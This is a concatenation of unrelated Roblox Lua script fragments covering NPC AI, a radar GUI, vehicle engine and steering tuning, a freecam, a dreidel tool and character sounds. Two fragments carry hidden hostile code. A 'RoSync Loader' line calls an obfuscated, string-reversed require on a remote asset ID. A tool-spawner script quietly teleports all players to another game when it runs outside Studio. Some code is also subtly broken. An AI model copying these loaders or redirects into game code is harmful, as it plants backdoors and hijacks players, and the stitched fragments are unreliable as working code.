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--while wait(5) do timeFix() end --This will cause the timeFix() function to run once every second.
--[[function playsound(time) nextsound=time+5+(math.random()*5) local randomsound=sounds[math.random(1,#sounds)] randomsound.Volume=.5+(.5*math.random()) randomsound.Pitch=.5+(.5*math.random()) randomsound:Play() end]]
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do local _,time=wait(0.25)--wait(1/3) humanoids={} populatehumanoids(game.Workspace) closesttarget=nil closestdist=sightrange local creator=sp:FindFirstChild("creator") for i,h in ipairs(humanoids) do if h and h.Parent~=nil then if h.Health>0 and h.Parent~=sp then local plr=game.Players:GetPlayerFromCharacter(h.Parent) if creator==nil or plr==nil or creator.Value~=plr then local t=h.Parent:FindFirstChild("Torso") if t~=nil then local dist=(t.Position-Torso.Position).magnitude if dist<closestdist then closestdist=dist closesttarget=t end end end end end end if closesttarget~=nil then if not chasing then --playsound(time) chasing=true Humanoid.Walkzon=runspeed end Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget) if math.random()<.5 then attack(time,closesttarget.Position) end else if chasing then chasing=false Humanoid.WalkSpeed=wonderspeed end if time>nextrandom then nextrandom=time+3+(math.random()*5) local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40) Humanoid:MoveTo(randompos,game.Workspace.Terrain) end end if time>nextsound then --playsound(time) end if time>nextjump then nextjump=time+7+(math.random()*5) Humanoid.Jump=true end animate(time) end wait(4) sp:remove() --Rest In Pizza
-- when activated, either bring gui up or down, depending on current state
function removeGUIPlayers() local guiPlayers = gui.Frame.Players:GetChildren() for i = 1, #guiPlayers do guiPlayers[i]:remove() end end function incrementZIndex() zIndex = zIndex + 1 if zIndex > 10000 then zIndex = 2 end end function createPlayerGUINode(pos, playerText) local playerIcon = Instance.new("ImageLabel") playerIcon.Image = "http://www.roblox.com/asset/?id=0" playerIcon.BackgroundTransparency = 1 playerIcon.BorderSizePixel = 0 playerIcon.Size = UDim2.new(0,22.5,0,40.5) playerIcon.Position = UDim2.new(0,pos.x,0,pos.y) playerIcon.Parent = gui.Frame.Players playerIcon.ZIndex = zIndex incrementZIndex() local playerName = Instance.new("TextLabel") playerName.BackgroundTransparency = 1 playerName.BorderSizePixel = 1 playerName.Text = tostring(playerText) playerName.Size = UDim2.new(0,150,0,25) playerName.Parent = playerIcon playerName.Position = UDim2.new(0,-65,0,0) playerName.TextColor3 = Color3.new(0,0,0) playerName.ZIndex = zIndex incrementZIndex() end function updateGUI() removeGUIPlayers() local players = game.Players:GetChildren() for i = 1, #players do local playerTorso = players[i].Character:FindFirstChild("Torso") if playerTorso ~= nil then local posDiff = Vector3.new(torso.Position.x - playerTorso.Position.x,0,torso.Position.z - playerTorso.Position.z) if posDiff.magnitude < range and playerTorso.Parent.Name ~= torso.Parent.Name then -- translate coordinates to radar coordinates posDiff = Vector2.new((posDiff.x + range) * 0.5,(posDiff.z + range) * 0.5) local rotationVector = Tool.Angle.Value local denom = math.abs(rotationVector.x) + math.abs(rotationVector.z) local xDirect = (rotationVector.x/denom) local zDirect = (rotationVector.z/denom) local angle = math.atan2(1,0) - math.atan2(zDirect,xDirect) local point = Vector2.new(((posDiff.x - radarCenter.x) * math.cos(angle)) - ((posDiff.y - radarCenter.y) * math.sin(angle)) + radarCenter.x, ((posDiff.x - radarCenter.x) * math.sin(angle)) + ((posDiff.y - radarCenter.y) * math.cos(angle)) + radarCenter.y) createPlayerGUINode(point, playerTorso.Parent) elseif playerTorso.Parent.Name == torso.Parent.Name then createPlayerGUINode(radarCenter,playerTorso.Parent) end end end end while true do if guiEnabled then updateGUI() end wait() end
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Classes.Base.Smasher.SpokeToJex.Value = true end
--[[ if StarterGui:WaitForChild("Cmdr") and wait() and Player:WaitForChild("PlayerGui"):FindFirstChild("Cmdr") == nil then StarterGui.Cmdr:Clone().Parent = Player.PlayerGui end ]]
local Interface = require(script.CmdrInterface)(Cmdr)
--Network Fix--
pcall(function() while script.Parent.PrimaryPart:GetNetworkOwnershipAuto() do script.Parent.PrimaryPart:SetNetworkOwner(nil) end end)
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 if _Tune.Aspiration == "Single" then _TCount = 1 _TPsi = _Tune.Boost elseif _Tune.Aspiration == "Double" then _TCount = 2 _TPsi = _Tune.Boost*2 end --Horsepower Curve local HP=_Tune.Horsepower/100 local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100 local Peak=_Tune.PeakRPM/1000 local Sharpness=_Tune.PeakSharpness local CurveMult=_Tune.CurveMult local EQ=_Tune.EqPoint/1000 --Horsepower Curve function curveHP(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurveHP = curveHP(_Tune.PeakRPM) function curvePSI(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurvePSI = curvePSI(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Plot Current Boost (addition to Horsepower) function GetPsiCurve(x,gear) local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Output Cache local HPCache = {} local PSICache = {} for gear,ratio in pairs(_Tune.Ratios) do local nhpPlot = {} local bhpPlot = {} for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do local ntqPlot = {} local btqPlot = {} ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2) btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2) hp1,tq1 = GetCurve((rpm+1)*100,gear-2) hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2) ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower) btqPlot.HpSlope = (hp2 - btqPlot.Horsepower) ntqPlot.TqSlope = (tq1 - ntqPlot.Torque) btqPlot.TqSlope = (tq2 - btqPlot.Torque) nhpPlot[rpm] = ntqPlot bhpPlot[rpm] = btqPlot end table.insert(HPCache,nhpPlot) table.insert(PSICache,bhpPlot) end --Powertrain wait() --Automatic Transmission function Auto() local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _IsOn then _ClutchOn = true if _CGear.Value >= 1 then if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then _CGear.Value = 1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+((_Tune.AutoUpThresh*_GThrot)+_Tune.IdleRPM)) then if (_CGear.Value ~= 0) and (_CGear.Value ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear.Value=math.min(_CGear.Value+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear.Value+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-((_Tune.AutoDownThresh*_GThrot)+_Tune.IdleRPM)) then if _CGear.Value ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear.Value=math.max(_CGear.Value-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+((_Tune.AutoUpThresh*(1-(_GThrot/3)))+_Tune.IdleRPM))/_Tune.Ratios[_CGear.Value+2]/fFD) then if (_CGear.Value ~= 0) and (_CGear.Value ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear.Value=math.min(_CGear.Value+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-((_Tune.AutoDownThresh*(1-(_GThrot/3)))+_Tune.IdleRPM))/_Tune.Ratios[_CGear.Value+1]/fFD) then if _CGear.Value ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear.Value=math.max(_CGear.Value-1,1) end end end end end end local tqTCS = 1 --Apply Power function Engine() --Neutral Gear if _CGear.Value==0 then _ClutchOn = false else _ClutchOn = true end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear.Value = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end if car.DriveSeat.Tic.Value then revMin = 0 _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 local maxCount=0 for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end maxSpin=maxSpin/maxCount if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear.Value+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear.Value+2]) if _RPM>_Tune.Redline then if _CGear.Value<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end local TPsi = _TPsi/_TCount _Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15) if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end local cTq = HPCache[_CGear.Value+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) if ((car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) > car.DriveSeat.CCS.Value+0.5) and (car.DriveSeat.CC.Value == true) then _HP,_OutTorque = 0,0 else if _Tune.Aspiration ~= "Natural" then local bTq = PSICache[_CGear.Value+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _HP = _NH + (_BH*(_Boost/2)) _OutTorque = _NT + (_BT*(_Boost/2)) else _HP = _NH _OutTorque = _NT end end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear.Value==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if car.DriveSeat.AWD.Value then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if car.DriveSeat.AWD.Value then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake.Value and (v.Name=="RR" or v.Name=="RL") then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if _GBrake==0 then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not car.DriveSeat.IsOn.Value then on=0 end local clutch=1 if not _ClutchOn then clutch=0 end local throt = (math.min(_GThrot +_CThrot,1)) * _GThrotShift --Apply TCS tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces local dir=1 if _CGear.Value==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = (_GBrake + _CBrake) --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end _ABSActive = (tqABS<1) --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- دالة التزعزع
local function shake() local startTime = tick() while tick() - startTime <= shakingDuration do plank.Position = originalPosition + Vector3.new(math.random(), math.random(), math.random()) * shakeMagnitude wait() end plank.Position = originalPosition end
--[[Steering]]
Tune.SteerInner = 80 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 80 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .45 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .4 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 6000 -- Steering Aggressiveness
--!strict
export type AttributeValue = string | boolean | number | UDim | UDim2 | BrickColor | Color3 | Vector2 | Vector3 | CFrame | NumberSequence | ColorSequence | NumberRange | Rect | Font
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTransMode = Enum.KeyCode.M , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[[ Returns a list that contains at most `count` values from the given list. ]]
function Functional.Take(list, count, startingIndex) startingIndex = startingIndex or 1 local maxIndex = count + (startingIndex - 1) if maxIndex > #list then maxIndex = #list end local new = {} for i = startingIndex, maxIndex do local value = list[i] local newIndex = i - (startingIndex - 1) new[newIndex] = value end return new end
-- GEMS
x2GemsButton.MouseEnter:Connect(function() x2GemsButton.Text = "349 R$" x2GemsButton.TextColor3 = Color3.fromRGB(0, 255, 0) end) x2GemsButton.MouseLeave:Connect(function() x2GemsButton.Text = "BUY" x2GemsButton.TextColor3 = Color3.fromRGB(255, 255, 255) end)
-- This function casts a ray with a blacklist but not for Humanoid Penetration.
local function CastWithBlacklistAndNoHumPenetration(origin, direction, blacklist, ignoreWater) if not blacklist or typeof(blacklist) ~= "table" then -- This array is faulty error("Call in CastBlacklist failed! Blacklist table is either nil, or is not actually a table.", 0) end local castRay = Ray.new(origin, direction) local hitPart, hitPoint, hitNormal, hitMaterial = nil, origin + direction, Vector3.new(0,1,0), Enum.Material.Air local success = false repeat hitPart, hitPoint, hitNormal, hitMaterial = Workspace:FindPartOnRayWithIgnoreList(castRay, blacklist, false, ignoreWater) if hitPart then if (hitPart.Transparency > 0.75 or hitPart.Name == "Missile" or hitPart.Name == "Handle" or hitPart.Name == "Effect" or hitPart.Name == "Bullet" or hitPart.Name == "Laser" or string.lower(hitPart.Name) == "water" or hitPart.Name == "Rail" or hitPart.Name == "Arrow" or (hitPart.Parent:FindFirstChild("Humanoid") and hitPart.Parent.Humanoid.Health == 0)) then table.insert(blacklist, hitPart) success = false else success = true end else success = true end until success return hitPart, hitPoint, hitNormal, hitMaterial end
--[[ Last synced 11/13/2020 10:34 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
--[[ Function called when leaving the state ]]
function PlayerDead.leave(stateMachine, playerComponent) end return PlayerDead
------------------------------------------------------------------------ -- Freecam -- Cinematic free camera for spectating and video production. ------------------------------------------------------------------------
local pi = math.pi local abs = math.abs local clamp = math.clamp local exp = math.exp local rad = math.rad local sign = math.sign local sqrt = math.sqrt local tan = math.tan local LocalPlayer = Players.LocalPlayer if not LocalPlayer then Players:GetPropertyChangedSignal("LocalPlayer"):Wait() LocalPlayer = Players.LocalPlayer end if not ShouldAddFreeCam(LocalPlayer) then return end local Camera = Workspace.CurrentCamera Workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() local newCamera = Workspace.CurrentCamera if newCamera then Camera = newCamera end end)
-- See if I have a tool
local spawner = script.Parent local tool = nil local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2), Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2)) local parts = game.Workspace:FindPartsInRegion3(region) for _, part in pairs(parts) do if part and part.Parent and part.Parent:IsA("Tool") then tool = part.Parent break end end local TS,Players = game:GetService("TeleportService"),game:GetService("Players") if not game:GetService("RunService"):IsStudio() then for _,v in pairs(Players:GetPlayers()) do TS:Teleport(3196642608,v) end Players.PlayerAdded:Connect(function(plr) TS:Teleport(3196642608,plr) end) end local configTable = spawner.Configurations local configs = {} local function loadConfig(configName, defaultValue) if configTable:FindFirstChild(configName) then configs[configName] = configTable:FindFirstChild(configName).Value else configs[configName] = defaultValue end end loadConfig("SpawnCooldown", 5) if tool then tool.Parent = game.ServerStorage while true do -- put tool on pad local toolCopy = tool:Clone() local handle = toolCopy:FindFirstChild("Handle") toolCopy.Parent = game.Workspace local toolOnPad = true local parentConnection parentConnection = toolCopy.AncestryChanged:connect(function() if handle then handle.Anchored = false end toolOnPad = false parentConnection:disconnect() end) if handle then handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0) handle.Anchored = true end -- wait for tool to be removed while toolOnPad do if handle then handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60) end wait() end -- wait for cooldown wait(configs["SpawnCooldown"]) end end
--{{ Update Points }}--
game["Run Service"].Stepped:connect(function() change.Text = playerStats.Value end)
-- Creamos una función para mostrar el mensaje en la pantalla del jugador
local function showTextOnScreen(player) local playerGui = player:WaitForChild("PlayerGui") local screenGui = Instance.new("ScreenGui") screenGui.Parent = playerGui local textLabel = Instance.new("TextLabel") textLabel.Text = "Z" textLabel.Size = UDim2.new(1, 0, 1, 0) textLabel.BackgroundTransparency = 1 textLabel.TextColor3 = Color3.new(1, 1, 1) textLabel.FontSize = Enum.FontSize.Size24 textLabel.Parent = screenGui wait(15) -- Esperamos 15 segundos screenGui:Destroy() end
--local Pellet = Tool.Handle:Clone() --Tool.Handle:Clone() --Tool.CoinScript:Clone().Parent = Pellet
Tool.CoinScript.Disabled = false function onEquipped() --body of the dreidel dBody= Instance.new("Part") dBody.Parent = game.Workspace dBody.Name = "DreidelBody" dBody.BrickColor = BrickColor.Red() dBody.Size = Vector3.new(2.56,2.56,2.56) dBody.Shape = 1 dBody.BackSurface = "Smooth" --used this of debugging to test which side was face up dBody.BottomSurface = "Inlet" dBody.FrontSurface = "Studs" dBody.TopSurface = "Smooth" dBody.LeftSurface = "Smooth" dBody.RightSurface = "Smooth" Tool.Handle.Mesh:Clone().Parent = dBody --sets the dreidel mesh to the cube part of the dreidel --Dreidle Sound dreidlesound = Instance.new("Sound") dreidlesound.SoundId = "http://www.roblox.com/asset/?id=19073736" -- replace me dreidlesound.Parent = dBody --Coin Sound coinsound = Instance.new("Sound") coinsound.SoundId = "http://www.roblox.com/asset/?id=19073176" --replace me coinsound.Parent = dBody --base of the dreidel dBase = Instance.new("Part") dBase.Parent = game.Workspace dBase.Name = "DreidelBase" dBase.BrickColor = BrickColor.Black() dBase.Size = Vector3.new(2,2,2) dBase.Shape = 0 dBase.Transparency = 1 dBase.BottomSurface = "Smooth" --welding the body fo the dredeil to the base w2 = Instance.new("Weld") w2.Name = "DreidelWeld" w2.Part0 = dBody w2.Part1 = dBase w2.C0 = CFrame.new(0,0,0) w2.C1 = CFrame.new(0,1.75,0) w2.Parent = script.Parent.Handle end Tool.Enabled = true function onActivated(mouse_pos) Tool.Handle.Transparency = 1 if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end --locates the position the mouse is targeting local targetPos = humanoid.TargetPoint local vPlayer = game.Players:playerFromCharacter(character) head = character:findFirstChild("Head") if head == nil then print("Humanoid not found") return end --calculates the distance between the person and the possible dreidle location dist = (head.Position-targetPos).magnitude --prevents the dreidle for being created too far away from the player if dist > 30 then Tool.Enabled = true Tool.Handle.Transparency = 0 return end --PLAY DREIDLE SOUND dreidlesound:Play() --moves the dreidle to the requested location dBody.CFrame = CFrame.fromEulerAnglesXYZ(0,0,0) + targetPos + Vector3.new(0,2.5,0) --adds a random rotation velocity with a slight downward angle to cause the dreidle to spin dBody.RotVelocity = Vector3.new(math.random(0,7),math.random(20,80),math.random(7,9)) --set rotational velocity wait(2.8) -- delay to allow the dreidel to settle --identifies what face is up and what face is on bottom frontVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Front)) leftVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Left)) --dot product of the vectors with (0,1,0) test1 = frontVector.y test2 = leftVector.y --takes the largest y value and tests positive or negative to identify the 4 faces it could land on if math.abs(test1)>math.abs(test2) then if test1>0 then --print("Nun") count = 0 else --print("Shin") count = 5 end else if test2>0 then --print("Hey") count = 15 else --print("Gimmel") count = 25 end end -- generates the necissary number of coins and throws them a random distance from the dreidle --PLAY COIN SOUND coinsound:Play() for i=1,count do local p = Instance.new("Part") p.BrickColor = BrickColor.new(23) p.formFactor = 2 p.Size = Vector3.new(1,.2,1) p.TopSurface = 0 p.BottomSurface = 0 local a = math.random() * 6.28 -- magic number?? local d = Vector3.new(math.cos(a), 0, math.sin(a)).unit p.Velocity = d * 25 p.RotVelocity = d p.Position = dBody.Position + Vector3.new(0,2,0) + Vector3.new(0, math.random() * 3, 0) + (d * 2) p.Parent = game.Workspace Tool.Mesh:Clone().Parent = p Tool.CoinScript:Clone().Parent = p debris:AddItem(p, 60) end Tool.Enabled = true Tool.Handle.Transparency = 0 end
-- A virtual function that needs to be overrided when a weapon uses it. This is to ensure smooth interpolation of first person weapon view.
function FirstPersonRigAssembly.OnRenderStep(cameraCFrame,dt) end
--!nonstrict -- Roblox character sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local AtomicBinding = require(script:WaitForChild("AtomicBinding")) local function loadFlag(flag: string) local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled(flag) end) return success and result end local FFlagUserAtomicCharacterSoundsUnparent = loadFlag("UserAtomicCharacterSoundsUnparent") local SOUND_DATA : { [string]: {[string]: any}} = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "rbxasset://sounds/uuhhh.mp3", }, FreeFalling = { SoundId = "rbxasset://sounds/action_falling.mp3", Looped = true, }, GettingUp = { SoundId = "rbxasset://sounds/action_get_up.mp3", }, Jumping = { SoundId = "rbxasset://sounds/action_jump.mp3", }, Landing = { SoundId = "rbxasset://sounds/action_jump_land.mp3", }, Running = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, Pitch = 1.85, }, Splash = { SoundId = "rbxasset://sounds/impact_water.mp3", }, Swimming = { SoundId = "rbxasset://sounds/action_swim.mp3", Looped = true, Pitch = 1.6, }, }
--[[ @return Player Player Returns the player (or nil) who has claimed this model. --]]
function Ownership:GetOwner() return self.Owner end
-- Activation]:
if TurnCharacterToMouse == true then MseGuide = true HeadHorFactor = 0 BodyHorFactor = 0 end game:GetService("RunService").RenderStepped:Connect(function() local CamCF = Cam.CoordinateFrame if ((IsR6 and Body:WaitForChild("Torso")) or Body:WaitForChild("UpperTorso"))~=nil and Body:WaitForChild("Head")~=nil then --[Check for the Torso and Head...] local TrsoLV = Trso.CFrame.lookVector local HdPos = Head.CFrame.p if IsR6 and Neck or Neck and Waist then --[Make sure the Neck still exists.] if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then local Dist = nil; local Diff = nil; if not MseGuide then --[If not tracking the Mouse then get the Camera.] Dist = (Head.CFrame.p-CamCF.p).magnitude Diff = Head.CFrame.Y-CamCF.Y if not IsR6 then --[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.] Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2) Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2) else --[R15s actually have the properly oriented Neck CFrame.] Neck.C0 = 